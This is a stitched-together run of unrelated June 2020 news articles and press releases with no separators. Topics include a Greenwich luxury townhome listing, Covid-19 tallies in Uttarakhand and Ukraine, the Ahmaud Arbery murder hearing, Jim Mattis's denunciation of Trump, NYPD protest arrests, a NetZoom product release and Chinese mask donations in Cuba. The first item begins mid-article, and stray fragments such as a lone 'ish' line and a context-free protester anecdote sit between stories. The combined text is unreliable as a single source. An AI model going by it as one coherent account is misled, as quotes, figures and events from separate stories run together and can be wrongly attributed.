Brandon Lacoff, a Greenwich native, was the [developer,] and his attention to detail was exquisite, and the finishes all very high end.  He put top-of-the-line everything inside, the seller added, citing marble baths with radiant heat flooring, marble countertops and island in the kitchen, pro-grade appliances, a security system, and other compelling features. Two gas-powered fireplaces, crafted in polished marble, are found in the living room and master bedroom.

To further customize the interiors, Arredondo enlisted the expert counsel of Michelle Morgan, founder of Morgan Harrison Home in New Canaan. The redesign earned the home a cover photo in a 2018 issue of New England Home magazine.

She quickly understood my aesthetic, the homeowner recalled. The house is flooded with light, and its a happy place. The decor is fresh, elegant, original, pretty and sophisticated. We kept elements of tradition, with the custom Gracie wallpaper in the dining room, and chose calming, icy tones throughout, with lots of different textures in the upholstery.

I collect modern art, so I wanted a muted ambience, to allow the art to stand out.  We purchased unique Italian lighting at auction, to add an edgy flare, she explained.

They added a custom marble bar and sink to the living room, a herringbone-patterned marble floor to a powder room, Stark-branded carpet, Waterworks-branded hardware in all of the baths, digitally controlled window treatments in the master bedroom, and a home gym with a rubber floor and mirrors.

The kitchen is naturally the hub of the 4,406-square-foot home, with cabinets finished in a matte white. There are two sinks, and among the appliances are a Wolf range and oven, a Miele coffee station and dishwasher, and Sub-Zero refrigerator and freezer.

More Information Details Address: 50 Sound View Drive, Unit 3 South, Greenwich Price: $4.025 million Features: The four-bedroom townhome at 50 Sound View Drive, Unit 3 South, has four bedrooms, four full baths, a powder room and 4,406 square feet of living space. The lower level comprises a two-car garage, home gym, family room (possible fourth bedroom), a bathroom, storage space, and a laundry. The foyer, formal living room, dining room, kitchen and powder room make up the main level. Two of the bedrooms are located one level up, including the master suite. The top level has another bedroom and full bath, leveraged by the owner as a home office. An elevator provides access to all four stories. The HOA fees are estimated at $1,250 per month, which contributes to the landscaping, exterior maintenance, security, and on-site amenities, including a gym. Schools: Julian Curtiss School, Central Middle, Greenwich High See More Collapse

Its got plenty of cabinet space for storage, as well as a giant pantry, the seller noted. I like to entertain, so I have lots of plates and glasses and silverware, and still have leftover space for storage. Also, the two sinks help when I have a caterer inside managing the dinner party.  Ive hosted many a dinner and birthday party in this home. There are lots of entertaining spaces, with two porches outside the living and dining rooms - one covered, with lighting, the other not - which are fantastic in the summer for cocktails or dinner and brunch.

The formal dining room is also a lovely space for entertaining in style. The ceiling is finished in gold leaf, and the walls are swathed in Gracie-designed wallpaper and customized by an artist who incorporated four pairs of lovebirds into the design. Its a fun game to ask my guests during dinner parties to locate all of them; its not always that obvious, she quipped.

Including the master suite, this home allows for four bedrooms. There are porches off both the master and second bedroom suites, spacious and private.

Arredondo pointed to the coastal architecture and to the location as additional reasons for choosing this home as her own.

Im just a stones throw from downtown, Bruce Park and Long Island Sound, she said. The property is also conveniently located near private and public schools, the train station, Greenwich Avenue, country and yacht clubs, places of worship, the ferry to Island Beach, and to some of the towns most renowned restaurants.

In short, Beacon Hill is sophisticated city living in the low-key burbs, she concluded.

Listing agent: Martha Jeffrey, Sothebys International Realty; 203-964-7800 cell; martha.jeffrey@sothebyshomes.com
Uttarakhand reported 46 fresh coronavirus disease (Covid-19) positive cases on Friday, as the hill states overall tally rose to 1,199, the state health department bulletin said.

The new Covid-19 positive cases were reported from the following districts -- Dehradun (15), Chamoli (2), Haridwar (1), Pauri Garhwal (1), Rudraprayag (14), Tehri Garhwal (6), Champawat (2), and Almora (5).

Most of the Covid-19 patients had recently returned to Uttarakhand from Delhi, Maharashtra, Gurugram and Ghaziabad amid the easing of nationwide lockdown restrictions, which were imposed on March 25 to contain the spread of the Covid-19 outbreak.

The bulletin said 309 Covid-19 patients have recovered, including five on Friday. Uttarkhand has 874 Covid-19 active cases to date.

The percentage of recovery for Covid-19 patients in the state is at 25.77% on Friday, as compared to 24.30% on Wednesday. The rate of infection has risen to 4.22% on Friday, as compared to 4.03% on Wednesday.

Uttarakhand has tested over 35,967 samples of which 6,623 results are pending.

On Thursday, 68 fresh Covid-19 positive cases were reported from Uttarakhand and two patients died at the Rishikesh-based All India Institute of Medical Sciences (AIIMS).
A judge in Glynn County, Georgia, ruled Thursday that three white men accused of killing a black jogger in Georgia earlier this year will stand trial for murder, after a day-long hearing that included testimony that the shooter allegedly uttered the words "f---ing n-----" as the victim lay dying in the road.

William "Roddie" Bryan, who captured Arbery's death on cellphone video, told investigators that Travis McMichael, 34, used the slur before police arrived at the scene, said Georgia Bureau of Investigation Special-Agent-in-Charge Richard Dial. In his closing statement, special prosecutor Jesse Evans said the men - along with the McMichael's father, Gregory, 64 - forced Arbery into a deadly game of cat-and-mouse as they used their vehicles to corner him before they "gunned him down in broad daylight."

Bryan, 50, and the McMichaels were charged last month with felony murder in the February shooting death of Arbery, 25.

Lengthy testimony by the lead investigator now in the case Thursday appeared to contradict earlier assertion by authorities that the three men had acted in self-defense, as well as statements from the lawyer for Gregory McMichael that there was no racial animus in the crime and the death did not fit the pattern of extrajudicial killings of black people.

Lawyers for the McMichaels continued to argue Thursday that their clients had acted in self-defense, while Bryan's attorney said he was an innocent bystander who merely filmed the deadly encounter on his cellphone, which subsequently was leaked, went viral and caused national outrage. The McMichaels face an additional aggravated assault charge while Bryan faces a charge of attempting to illegally detain and confine.

The case has been plagued by allegations of bias and mishandling by both law enforcement and prosecutors after prosecutors brought charges against the men only after a video showing Arbery's killing surfaced. Anger over the episode has added fuel to the ongoing protests across the country, in the wake of George Floyd's death last week in Minneapolis. Even before Floyd's death, activists in Georgia took to the streets, angered that it took 74 days and the video of Arbery's death to compel authorities to arrest the father and son now accused of killing him.

A local district attorney, George E. Barnhill, argued in April the suspects' actions were lawful - that they were trying to make a citizen's arrest of a suspected burglar. The case is now on its fourth prosecutor.

Travis McMichael's attorney, Jason Sheffield, on Thursday asked the special agent in charge of the case whether Arbery's killing was really a story of "self-defense."

"You are of the opinion that this was not self-defense by Mr. McMichael?" he asked Georgia Bureau of Investigation Special-Agent-in-Charge Richard Dial, after reviewing the details of the encounter.

"I don't believe it was self-defense by Mr. McMichael. I believe it was self-defense by Mr. Arbery," Dial responded. "I believe Mr. Arbery was being pursued, and he ran until he couldn't run anymore. And [his choice] was: turn his back to a man with a shotgun, or fight with his bare hands against a man with a shotgun, and he chose to fight."

Dial spent several hours on the stand Thursday testifying to the events of Feb. 23, as the three men - two of whom were armed - chased Arbery through Satilla Shores, a marshy enclave near his home where he often jogged.

The incident began when Gregory McMichael saw Arbery running through the neighborhood and suspected he was responsible for recent burglaries, Dial said. Security video had shown Arbery had been spotted in a nearby house that was under construction, prompting a neighbor to call 911, although there is no indication he took anything from the site.

Dial said McMichael called for his son, Travis McMichael, and the pair hopped into a pickup truck and gave chase - the son armed with a shotgun, the father carrying a .357 magnum. Soon after, Dial said, they were joined by a neighbor, Bryan, who helped corner Arbery and later recorded his death on his cellphone camera. None of the suspects called 911 before pursuing Arbery, Dial said.

Dial said Gregory McMichael told authorities he shouted at Arbery: "Stop! Stop! We want to talk to you" as they tried to affect a kind of citizen's arrest before McMichael fired the first shot and a scuffle ensued that ended in Arbery's death.

In his testimony, Dial described aspects of the case that have been debated among prosecutors and people across the country.

He said Arbery was shot after trying to evade Bryan and the McMichaels for several minutes and engaged only after he appeared to run out of options to flee, Dial said. He also gave testimony that disputed Bryan's version of events - that he was just a witness and a bystander.

Gregory McMichael "described that Mr. Bryan was trying to block him in as well," Dial said. "Mr. Bryan admits to joining the pursuit of Mr. Arbery. He admits to trying to block Mr. Arbery in, trying to detain him several times."

Bryan's attorney, Kevin Gough, argued Thursday that he was nothing more than an "innocent bystander" doing the duty that any "patriotic" American would do.

Thursday's testimony was a marked contrast to the version of events authorities in Georgia had detailed in April before the damning video came to light and caused a national firestorm. In an April letter to the Glynn County police chief, Barnhill, a local prosecutor, had characterized the fatal shooting of Arbery as justifiable.

The McMichaels were "in hot pursuit" of a suspect with a checkered criminal history, the district attorney wrote, which helped "explain his apparent aggressive nature and his possible thought pattern to attack an armed man." The McMichaels were making a citizen's arrest of a person they believed to be involved in a burglary, he argued - and Arbery contributed to his own death by attacking Travis McMichael as he held a gun.

"Arbery initiated the fight," Barnhill wrote. While McMichael's finger was on the trigger, "we do not know who caused the firings. Arbery would only had to pull the shotgun 1/16th to 1/8th of one inch to fire the weapon himself and in the height of the altercation this is entirely possible."

On Thursday, Travis McMichael's attorney, Jason Sheffield, asked Dial about Arbery's history of mental health problems - which Barnhill had earlier implied contributed to the altercation, along with a criminal history that included a weapons violation and shoplifting accusation.

The prosecutor raised an objection. "There's no evidence before the court . . . that these defendants even knew what history the deceased victim in this case had, so this serves no purpose in this case other than to cast his character into question," he said.

Arbery, Dial said, had been previously diagnosed with a mental illness that manifested as hallucinations, he said. He did not know the date of that diagnosis. He said Arbery was not being treated for any mental illness at the time of his killing.

The lead investigator on Thursday also detailed other examples of Travis McMichael's alleged racism.

"Have you seen any other evidence that he has used that horrible 'n-word' anywhere else?" his attorney, Jason Sheffield, asked Dial.

Dial said that investigators found an Instagram post where Travis McMichaels had suggested that someone should blow a "f---ing n---er's head off" and also wrote on social media that he loved his job in the U.S. Coast Guard because he was out on a boat, and "there weren't any n words anywhere."

Authorities worried that the day's testimony would further inflame tensions in a nation already on edge after the killing of Floyd on May 25. Floyd died after a Minneapolis police officer held his knee on the black man's neck for more than eight minutes. Protests calling for police reform, equal justice and an end to systemic racism have convulsed dozens of cities around the world over the past week.

A day before the hearing, Georgia Gov. Brian Kemp (R) said security around the demonstrations in the state would be increased. "We will take appropriate action to hold bad actors accountable if they try to infiltrate peaceful gatherings to cause chaos," Kemp said. "Let me be clear: We will not tolerate disruptive, dangerous behavior or criminal conduct. We will put the safety of Georgians first."
Copyright  2020 Albuquerque Journal

The New Mexico Department of Health misplaced hundreds of COVID-19 tests from the Bernalillo County Metropolitan Detention Center last month  leading to a weeklong delay for jail officials worried about the virus spreading in the facility.

It was our fault, David Morgan, a NMDOH spokesman, said of the snafu that temporarily left 262 tests of MDC inmates and staff in the wind.

Morgan said all the test results have since been returned to MDC and the batch did not contain any positive results. So far, 356 inmates and 473 staff have been tested.

Larry Gallegos, a spokesman for the county, said 15 inmates are being retested after their results came back inconclusive. The results are pending.

Since the pandemic began, Gallegos said at least one corrections sergeant and three inmates have tested positive for the virus. He said none of the cases was contracted inside the facility and, at this time, there are no confirmed cases at MDC.

The mix-up with the tests happened after the corrections sergeant contracted the virus and DOH conducted testing at the facility May 13 and 14.

That staff member immediately self-isolated and the testing began for the facility, Morgan said.

Morgan said that, for some reason, the tests, which were supposed to be sent to DOH labs, ended up being diverted to TriCore Reference Laboratories.

He said TriCore did right by testing the samples, but the results, sent by fax, didnt get where they needed to go and resulted in a delay.

Two weeks after the initial testing, an email sent by MDC staff to Bernalillo County commissioners said DOH reportedly was having issues locating results.

We are being told that TriCore labs did not separate test results by agency, essential, priority or inmates resulting in delayed results, the email read.

MDC Chief Greg Richardson reached out to DOH and expressed his concerns, according to the email, and was advised the department was researching the matter.

However, Morgan said the blame lies on DOH and not TriCore.

Testing is ongoing at the facility for staff and new intakes, and, of course, anyone who is symptomatic, and our public health division is assisting as needed, he said.
The League of Concerned Christian Professionals (LCCP), has expressed concerns over the Electoral Commission's (EC) decision to compile a new biometric voters register ahead of the December 2020 elections.



The group, operating within the five Regions of the North, expressed fear that the compilation of the new voters register could be a recipe for distortion of peace and stability during and after the elections in the country.



In March 2019, the EC announced it will compile a new register for the December 2020 Presidential and Parliamentary Elections in Ghana.



The EC initially scheduled April 18, 2020, for the compilation of the register, but following the rapid spread of COVID-19 in the country, it postponed the exercise to late June 2020 with 40 days earmarked for the compilation process.



Mr Andrew Dokurugu, Chairman of the group, addressing the media in Tamale, said the LCCP was alarmed at the zeal with which the EC held onto their decision to compile a new voters' register despite words of caution by a wide spectrum of stakeholders against the decision.



"We wish to state without reservation that this attempt to compile a new voters' register at this late and critical hour does not augur well for the conduct of a free, fair, transparent, and peaceful elections come December 2020" he said.



Mr Dokurugu argued that a credible and robust register already exists and "the EC is on record to have conceded that the existing voters' register is both credible, robust and fit for purpose".



He said the compilation of the voters' register was not timely considering the socio-cultural effects, which comes along with the COVID-19 pandemic and it's possible spread, as well as the transportation expenses to be made by citizens to their constituencies to register.



Mr Dokurugu argued that the EC's decision to resort to the NIA cards and the Ghana passport as the only legal documents required for registration would not only disenfranchise millions of Ghanaian voters, but would affect the beauty of the country's democracy.



He therefore, called on all concerned stakeholders, including; religious communities to rise and make their voices heard and let good reasons prevail in the current raging issues of a new voter register.

Source: GNA









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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WASHINGTON - For former Defense Secretary Jim Mattis, it was the last straw: the sight of the chairman of the Joint Chiefs of Staff, walking the streets of downtown Washington in battle-ready camouflage amid a show of brute federal force.

Smoke was still rising from Lafayette Square, where authorities had just used pepper spray and smoke canisters to disperse a group of largely peaceful protesters, when Gen. Mark Milley, along with Defense Secretary Mark Esper, joined President Donald Trump Monday evening as he strolled to a nearby church to pose for cameras with a Bible.

In Mattis's eyes, the appearance of the two top military leaders appeared to condone an unprovoked use of force. The nonpartisan military that Mattis had served for nearly five decades was being featured as decoration for a photo op, and Mattis fumed that the president was using the leaders who replaced him at the Defense Department to further divide the nation, according to four people familiar with his thinking.

He was especially upset to see Milley - whom Mattis believed had sought to curry favor with Trump when he was defense secretary - appear in his Army combat uniform at a peaceful demonstration. That jarring image highlighted the military's involvement in a heavy-handed crackdown on civilians.

With that, the military historian and retired Marine general decided it was time to call out the damage he saw Trump doing to the country.

"The military was never set up to prop up anyone's political agenda, and I think that really pissed him off, when he saw that," said Carlton Kent, a retired Marine sergeant major who advised Mattis in Iraq. "He never wanted them to be in a compromising situation."

In a statement published by the Atlantic two days later, Mattis described himself as "angry and appalled" - and denounced the president he had served for two years.

"When I joined the military, some 50 years ago, I swore an oath to support and defend the Constitution," Mattis wrote. "Never did I dream that troops taking that same oath would be ordered under any circumstance to violate the Constitutional rights of their fellow citizens - much less to provide a bizarre photo op for the elected commander-in-chief, with military leadership standing alongside."

Mattis's decision to thrust himself in the maw of the country's fraught politics - after long hovering on the sidelines - grew out of his ongoing concern about the Defense Department's independence, according to people who know him.

His former colleagues still serving in the military had warned him in recent months about Trump's sway over its leadership. Some told him that Esper had been dubbed "Yesper" by some in the Pentagon because he seemed unable to say no to the president. And they said they believed Milley was effectively running the department by talking to Trump directly and bypassing the secretary, a dynamic that potentially threatened civilian control of the military.

Several Pentagon officials declined to address Mattis's criticism on the record.

An administration official, who spoke on the condition of anonymity because of the sensitivity of the issue, defended Esper's actions during a "fast-moving week."

"Esper is working to keep the Department of Defense apolitical in turbulent times," the administration official said. "That is not easy and is not without criticism - both inside and outside DoD - but in the long run it is what is best for the department, the men and women in uniform, and the nation."

The official said Mattis never reached out to his successor to share his concerns before his statement was published.

"Not Monday. Not Tuesday. Not Wednesday," the official said. "He should still have the office number."

Mattis's decision to speak out came after he had long refused to directly criticize Trump, even though the fact that he had been frustrated with the president was well known. Critics have said he should have used his standing to express his concerns sooner, noting that in his book "Call Sign Chaos" that was published last year, he faulted Obama administration decisions but held back when it came to the sitting president.

In a PBS interview during his book tour, Judy Woodruff prodded him on why he had not offered his assessment of Trump, noting that Americans would soon be deciding whether to give him a second term. "Are you saying you don't think it's your responsibility to speak up before the election?" she asked.

"That's exactly what I'm saying," Mattis replied, adding that he and other former defense secretaries believe "the defense of this country is a nonpartisan issue."

Mattis had told friends that he did not want any critiques he has to interfere with the efforts of the new defense secretary and his former colleagues at the Pentagon to work with the White House.

He made his general disagreement with the president clear when he announced his resignation in December 2018 amid a dispute with the president's decision to withdraw troops from Syria at the Turkish president's request. Mattis's resignation letter signaled his disapproval of Trump's long-standing objections to international alliances, and his dismay at the president leaving Kurdish allies unprotected in Syria.

"My views on treating allies with respect and also being clear-eyed about both malign actors and strategic competitors are strongly held and informed by over four decades of immersion in these issues," Mattis wrote.

But while at the helm of the Pentagon, Mattis himself failed at times to shield his department from the perception that the military was furthering the president's political objectives.

The most prominent example was Trump's contentious deployment of active-duty troops to the southern border beginning in fall 2018, just ahead of midterm elections. Trump, citing migrant caravans heading north through Mexico, said that he wanted the military to fortify the border, and at one point said that if migrants threw rocks at U.S. troops, they should "consider that a firearm."

When pressed about the border mission, Mattis dismissed suggestions that the troops were being used for political purposes, saying, "We don't do stunts." He visited the border in November 2018, one month before he resigned, and defended the mission.

In another incident that angered some in the military, Trump signed an executive order for a travel ban on immigrants from several Muslim-majority countries in the Pentagon's Hall of Heroes, a revered space meant to honor the nation's Medal of Honor recipients. Mattis stood next to him as Trump signed the order.

Since the civil unrest that has followed the police killing of George Floyd, Trump has repeatedly raised the threat of military force to quell the protests and pushed the Pentagon to deploy troops to cities hit hard by protests.

Last weekend, after a police station in Minneapolis was burned, he tweeted that "THUGS" were "dishonoring the memory of George Floyd," and said he told Minnesota Gov. Tim Walz, D, that "the Military is with him all the way." He appeared to threaten protesters, tweeting "when the looting starts, the shooting starts."

On Friday, as protests spread to Washington and other cities, active-duty members of the Army were put on alert.

"Crossing State lines to incite violence is a FEDERAL CRIME!" Trump tweeted Saturday. "Liberal Governors and Mayors must get MUCH tougher or the Federal Government will step in and do what has to be done, and that includes using the unlimited power of our Military and many arrests."

Esper and Milley, meanwhile, were advocating privately to use the National Guard - but not active-duty troops, which have rarely been called up to respond to domestic unrest.

The current secretary has repeatedly stressed his belief that the U.S. military should remain apolitical. But at least two incidents on Monday drew Mattis's ire.

First, on a call with Trump, administration officials and governors, Esper said that the sooner that authorities could "dominate the battlespace" in their cities, the sooner things could return to normal. A recording of that call leaked to the media within hours.

Then Esper and Milley walked with Trump from the White House to nearby St. John's Episcopal Church, which had been damaged in a fire started during protests, minutes after federal authorities rushed at demonstrators with shields and batons.

The White House quickly packaged the scene into a video set to triumphant music.

The following day, the Pentagon announced that it was deploying 1,600 active-duty troops to the D.C. region, including infantrymen. That decision was reversed by Esper this week, halted for a day amid the tension and then continued Thursday night.

Mattis was especially irked by Milley's presence at Lafayette Square. The two men's relationship had soured shortly before Mattis resigned, according to people with knowledge of the episode.

At the time, Milley was serving as the Army's top general, and he asked Mattis if he could speak with Trump to seek a new role as chief of U.S. European Command and the supreme allied commander of Europe for NATO. After the meeting, the president chose Milley as the new chairman of the Joint Chiefs of Staff, bypassing Mattis's recommendation of the Air Force's top officer. Mattis believed Milley had misled him and lobbied for the job; Milley told aides that he and Trump hit it off and that Trump simply offered it.

Amid this week's furor, some Pentagon officials have privately acknowledged that it was a mistake for Esper and Milley to appear with Trump on Monday evening after the protesters had been forcefully cleared away.

Esper's supporters say he has attempted to right the ship when it comes to keeping politics out of the department, sending a message to U.S. troops on Tuesday night that reminded them of their role to protect the American people and highlighting on Wednesday at the Pentagon the role of the National Guard in maintaining peace in the nation.

Under fire, Esper also expressed regret for his use of the term "battlespace," saying it was a part of the lexicon he grew up with as an Army officer. He said that when he joined Trump for the walk through Lafayette Square, he thought he was going to survey damaged buildings and meeting National Guard members, not participate in a photo op.

But for Mattis, the damage was done.

"He knew his voice would have power and he could see that nobody was stopping this danger," one ally said.

Mattis reached out to Jeffrey Goldberg, editor of the Atlantic, which had published a piece he wrote last fall about the importance of the country's unity. On Tuesday, Mattis began writing his statement. He shared it with Goldberg on Wednesday, who published it that evening with the headline "James Mattis Denounces President Trump, Describes Him as a Threat to the Constitution."

Kent, who speaks frequently with Mattis, said he was glad to see his old battle buddy speak up. Other retired generals, including David Petraeus, have since, as well.

"You never should put them in a compromising situation in the military," Kent said. "You should never put them in a political situation, and that's where they are right now."
Abu Dhabi state fund Mubadala Investment Co has acquired 1.85 per cent of Jio Platforms, Reliance Industries Ltds technology platform for an investment of $1.21 billion.

The operation brings the total Jio Platforms shares sold to 19 per cent after Facebook acquired 10 per cent.

Jio Platforms houses movie, music apps and telecoms venture Jio Infocomm. With the sale of shares to the Emirati entity, the companys value soared to $68 billion.

Reliance Industries Ltd is owned by Asian richest man Mukesh Ambani and is the second investor in Abu Dhabi after Abu Dhabi Investment Authority (ADIA) with about $240 billion in assets.

Mubadala Investment, with $229 billion in assets, also made a $15 billion commitment to the SoftBank Vision Fund and launched a number of tech funds in the US, Europe and its home base, Arabian Business reports.
Ukraine has observed an increase in the number of confirmed COVID-19 cases for the third day in a row. If the epidemiological situation worsens, the quarantine easing schedule will be changed.

Prime Minister Denys Shmyhal said this at a meeting on countering the spread of coronavirus, chaired by President Volodymyr Zelensky, the press service of the head of state reported.

"The number of confirmed cases of COVID-19 has been growing in Ukraine for the third day in a row," the PM said.

If this trend continues, the easing of quarantine restrictions can lead to a worsening of the epidemiological situation in the country.

The government is still following the plan to ease restrictive measures, however, subject to a serious deterioration in the epidemiological situation, the schedule can be changed.

As reported, the Cabinet of Ministers on May 20 decided to move to a so-called adaptive lockdown model from May 22 to June 22.

As of June 5, Ukraine had 25,963 laboratory-confirmed COVID-19 cases. Some 553 new cases were confirmed over the past day.

ish
Taking part in three events last weekend, Sillman saw a young man get hit by police officers after he jumped on the front bumper of a fire truck, an incident she recorded on video. She found herself scared after being caught out past curfew when one march ended up on the north side, far from her South Loop home; I actually had to ask a stranger if they could give me a ride home, she said, because otherwise I was terrified of being caught by and detained by the cops.
Source: Xinhua| 2020-06-05 03:02:18|Editor: huaxia

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ATHENS, June 4 (Xinhua) -- In the wake of COVID-19 pandemic, the Greek government continues with unfaltering commitment to enhance cooperation with China, Greece's Minister of Development and Investments Adonis Georgiadis said here Thursday.

"We continue even faster and stronger than before to make our ties stronger," the minister said while addressing an online investment forum.

The new unprecedented challenge posed by the pandemic can either lead to conflicts or strengthen the will of the people and nations to move forward, and Greece has chosen to move forward, Georgiadis said.

The message the Greek government aims to convey is that investments will continue, he stressed.

"We are very happy with the Chinese presence in Greece, very proud of our cooperation in Piraeus port. We want to go forward with the master plan" of the upgrade of Greece's largest harbor, said the minister.

The port is considered a flagship successful project under the Belt and Road Initiative (BRI) launched in 2013.

China's COSCO Shipping acquired a majority stake in Piraeus Port Authority S.A. in 2016 following an international tender, while its subsidiary Piraeus Container Terminal S.A. has operated the port's container segment over the past decade, with both posting impressive results.

Greece is one of China's real friends, Georgiadis said, as he invited Chinese investors as well as tourists to his country.

"In this global crisis of the novel coronavirus, we choose as our common response the further strengthening of Greek-Chinese relations and bilateral cooperation, especially in economy and investments. This is the safest way to overcome the crisis as quickly as possible," said the Greek minister.

China and Greece are important BRI partners. After the pandemic, Sino-Greek relationship is bound to become stronger, Zhang Qiyue, Chinese Ambassador to Greece, told the forum.

The two sides have a very strong desire to further strengthen cooperation to bring better results to benefit the peoples of Greece and China, she said.

"This is not the time to stay separate from each other," she stressed, expressing confidence that "bilateral relations will come into full bloom to benefit our two peoples." Enditem
STATEN ISLAND, N.Y. -- Social media is rife with allegations of police and protester brutality captured on surveillance and cell-phone videos during heated confrontations between cops and protesters at marches around the state against the police-involved death of George Floyd in Minneapolis.

The NYPD arrested 240 people at protests from Thursday night into Friday morning, according to the New York Post.

Most of the arrests in Manhattan, the Bronx and Brooklyn were connected to attempts by police to enforce the 8 p.m. curfew imposed by the city in an attempt to deter looting.

Police are seeking tips from the public after NYPD members where assaulted in front of 828 Broadway in Manhattan during a melee on Sunday at 10:28 p.m., according to a statement from the NYPDs Deputy Commissioner of Public Information.

A lieutenant and an officer were attempting to take people into custody who were resisting arrest. During a struggle, one man allegedly used a stick to hit the lieutenant in the back of the head. A second man threw a brick that struck the back of the police officers helmet, according to the police statement.

The lieutenant was transported to New York-Presbyterian Hospital/The Allen Pavilion to be treated for a concussion. The police officer was struck with the brick did not sustain serious injury, the police statement said.

A video showing the incidents has been posted on the NYPD News Twitter feed.

WANTED for ASSAULT on POLICE OFFICERS: Know them?



An officer was hit with a brick on the back of the head & a Lieutenant was struck with a stick in the back of the head in front of 828 Broadway in Manhattan, on 5/31 at 10:28 PM.



Any info call or DM @NYPDTips at 800-577-TIPS. pic.twitter.com/0VBwnCpZiu  NYPD NEWS (@NYPDnews) June 5, 2020

Police also are looking for tips to identify two men sought for questioning in an assault against NYPD officers on Monday at about 9:38 p.m. in front of 1284 Broadway in Manhattan, according to a police statement.

Two uniformed officers assigned to the Midtown South Precinct fell to the ground while they were attempting to take a person resisting arrest into custody. During the struggle, one male suspect allegedly used a fire extinguisher to hit one of the officers in the back of the head. A second male allegedly hit the second officer with a department radio. The officer wounded by the extinguisher was treated at the scene. The second officer was removed by EMS to NYU Langone Hospital to be treated for a laceration to the head and a concussion, according to the police statement.

These individuals are wanted for assaulting two officers while they were on post at 1284 Broadway in Manhattan during looting, 6/1. An officer was struck on the head with a fire extinguisher and another officer was hit with a radio. Contact @NYPDTips at #800577TIPS with info. pic.twitter.com/LATo8QJ8XW  Chief Terence Monahan (@NYPDChiefofDept) June 5, 2020

In Buffalo, two police officers were suspended after they allegedly were captured on video shoving a senior citizen protester, according to ABC 7 NY.

Video from WFBO shows what appears to be a Buffalo police officer pushing a 75-year-old man who walked up to police as cops were clearing Niagara Square around 8 p.m. on Thursday for the curfew. The man falls backward, hits his head on the pavement and is bleeding. He was listed in serious condition at a hospital, according to ABC 7 NY.

DISTURBING VIDEO: Buffalo police officers suspended after a 75-year-old man was pushed down, cracking head. The man falls straight backward and hits his head on the pavement, with blood leaking out as officers walk past. https://t.co/mhWdGc7Bp2 pic.twitter.com/uTA1S9KLxg  Eyewitness News (@ABC7NY) June 5, 2020

A Manhattan judge sided with police on Thursday by denying a request by Legal Aid lawyers that authorities immediately release 108 protesters allegedly held for days after their arrests, according to the Daily News.

The emergency lawsuit filed Tuesday against the NYPD claimed that the protesters were being held illegally due to the states requirement that suspects be arraigned within 24 hours of their arrests.

Manhattan Supreme Court Judge James Burke blamed the delays on COVID-19 restrictions and the high volume of arrests connected to protests and looting, according to the Daily News.
CHICAGO, June 5, 2020 /PRNewswire/ -- NetZoom, Inc., the maker of largest NetZoom Visio Stencils Device Library for documenting and diagramming network and data center assets and audio-video devices, recently released new Visio Stencils for the following product lines:

Manufacturer / Device Model

Chatsworth Products eConnect Cisco Systems Cisco Access Control Server Dell Computer Power Store IBM QRadar NetApp AFF Series Pure Storage FlashArray Shunyata Research HYDRA Socomec Static Transfer System TRENDnet Patch Panels Untangle NG Firewall ZyXEL Communications Managed Ethernet Switch

"In today's economic climate, data has quickly become the world's most valuable resource," says Aaron Sax, Director of Marketing at NetZoom, Inc. "Our shapes and stencils are essential for these corporations to build out the necessary infrastructure for the needs of today."

NetZoom Visio Stencils is the world's largest library of device stencils used by over 250,000 professionals worldwide. The Device Library includes device stencils for racks, servers, network, telecom, audio, video, security, and infrastructure devices.

NetZoom subscribers can request new device shapes and stencils for free and download shapes and stencils from www.VisioStencils.com. The Device Library is updated weekly with customer shape requests.

Availability

NetZoom Visio Stencils is immediately available on a subscription basis and allows customers to request the development of new shapes at no additional cost. For more information visit VisioStencils.com

About NetZoom

Founded in 1995, NetZoom, Inc. is an Illinois corporation with headquarters in the Chicago area. The company's NetZoom software enables data center professionals around the world to effectively model, manage, monitor and maximize IT and Facility infrastructure.

For more information, please visit NetZoom.com.

Press Contact:

Aaron Sax

Marketing Department

2300 Cabot Drive, Suite 535

Lisle, IL 60532 USA

Phone: 630.281.6464

Email: [email protected]

NetZoom is a trademark of NetZoom, Inc. All others are registered trademarks or trademarks of their respective owners.

SOURCE NetZoom, Inc.
Source: Xinhua| 2020-06-06 05:17:54|Editor: huaxia

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by Yosley Carrero

HAVANA, June 5 (Xinhua) -- Cuban drivers from the Guanabo bus station on the outskirts of the capital city of Havana received around 1,000 face masks donated by China's Zhengzhou Yutong Bus Co. to help minimize the risk of infection during the coronavirus outbreak in the country.

Jorge Hernandez, who has been driving buses in Havana's metropolitan area for nearly 40 years, said the donation is welcome due to the high demand for face masks among people working in public transportation.

The 59-year-old bus driver said that wearing a face mask while driving is something he could not have ever imagined. "Yutong is not only taking care of the maintenance and technical conditions of the buses we drive, but also helping us keep safe during the pandemic," he said.

Like Hernandez, close to 80 drivers from the Guanabo bus station start work early in the morning to transport health professionals and essential service workers.

Havana's provincial public transport company has acquired around 1,080 Yutong buses, nearly 700 of which have active routes in the city of 2 million people during the COVID-19 emergency.

"China has had the capacity to look far beyond our health system and has provided a helping hand to different sectors of Cuban society," said Migdalia Aguero, 48, a Cuban nurse on board a Yutong shuttle bus in Havana.

Oscar Naury, 56, general director of the Guanabo bus station, said that during the coronavirus outbreak, no more than 20 people are allowed on board the buses at a time, and the use of face masks is compulsory for both drivers and passengers.

Workers at the Guanabo bus station have also implemented disinfecting procedures, including a rigorous handwashing process, cleaning surfaces, and disinfecting doors, seats, and other areas frequently touched by passengers.

"We clean the buses early in the morning and late at night, and use virus-killing disinfectant. There are many things we can still learn from China about disinfecting protocols," he said, adding that buses made by Yutong Bus Co. are comfortable and meet Cuban passengers' needs.

Cuba suspended national bus, air, and train travel across the country in the second half of March and subsequently prohibited public transportation from functioning in metropolitan and rural areas in early April as part of a governmental strategy to curb the spread of the epidemic.

Yutong Bus Co. has started to distribute around 100, 000 face masks to public transportation workers at nearly 20 bus stations to which the Chinese company provides technical assistance in the Cuban capital.

Wang Tong, head of the company's branch in Cuba, has been handing out face masks to local bus station personnel and getting insight into the protocols they have adopted to combat the coronavirus.

"These face masks will help protect drivers and passengers from contracting the virus. We are committed to the wellbeing of workers in the public transportation sector in Cuba," she said.

Full buses have become a common feature in everyday life in Havana due to economic restrictions and the U.S. blockade against the island, which bars the Caribbean nation from acquiring vehicle parts from the U.S. market.

Cuba has imported more than 10,700 Yutong buses since 2005, and these vehicles transport 80 percent of passengers on the island and also benefit the tourism sector.

According to Yutong Bus Co., among the company's plans for a post COVID-19 scenario in Cuba is the continued introduction of hybrid and electric buses and the support of the country's efforts to save fuel in the public transportation sector.

